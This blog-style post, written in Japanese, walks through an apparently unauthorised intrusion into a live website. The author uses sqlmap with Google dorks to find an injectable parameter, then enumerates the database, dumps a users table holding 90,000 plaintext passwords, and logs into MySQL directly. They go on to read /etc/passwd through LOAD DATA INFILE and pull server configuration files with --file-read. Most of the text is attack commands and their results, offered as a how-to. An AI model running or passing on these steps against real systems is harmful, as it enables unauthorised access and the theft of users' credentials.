sqlmap は、SQL インジェクションスキャンツールであり、Python で書かれています。私自身がそれに興味を持っているので、ダウンロードして見てみました。
cmd> python sqlmap.py -h でヘルプ情報を表示します。
他の -g オプションを使用して、Google で SQL インジェクションのあるウェブサイトを見つけることができますが、Python ではwww.google.comを使用します。
中国のユーザーにはエラーが発生するため、ソースコードを見つけて、lib/utils/google.py に置き換えてください。www.google.com.hkになります。
例: python sqlmap.py -g "allinurl: php?id="
ウェブサイトを見つけて、インジェクションを見つけました:http://www.xxxx.net/userdetail.mpl?userid=133677
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" でデータベースの MySQL と Apache サービスを見つけます。
現在の MySQL ユーザーを表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-user
データベースを表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-db
ユーザーの権限を表示します。運が良ければ、root が管理者です。次は簡単です。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --privileges
テーブル名を表示します。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --tables
ユーザーテーブル users を見つけてダウンロードします。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --dump -T "users"
ダウンロード後、すべてのユーザーが表示され、9 万件のデータのパスワードが暗号化されていないことがわかりました。admin とパスワードを見つけました。
ウェブページには管理画面がなく、webshell をアップロードすることができません。
このウェブサイトのオープンポートをスキャンします:80、22、3306
このパスワードで SSH にログインを試みましたが、できませんでした。
直接 MySQL にログインしました。成功しました。
次は MySQL の権限昇格ですが、MySQL は root ユーザーで実行されていないため、権限が不足しています。MySQL 5.1 バージョンでは UDF は使用できません。
システム情報を取得するために、MySQL の load data in file を使用してみます:
MySQL にログイン後:
use dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test;
select * from test;
ユーザー情報が表示され、同じ方法で shadow を取得しようとしましたが、権限が不足していました。
sqlmap を使用してシステムファイルを直接ダウンロードします。
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
MySQL の設定ファイルをダウンロードします。
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf
努力は報われました。これらのファイルからウェブサイトのいくつかのディレクトリを見つけました:
/opt/images/
ウェブページでアクセスできました。
ファイルを書き込むことができますが、このウェブサイトは Perl を使用しているため、詳しくはわかりません。一旦ここまでです。
まとめ:小さな脆弱性があれば、ウェブサイトを侵害し、root にアクセスすることができることがわかります。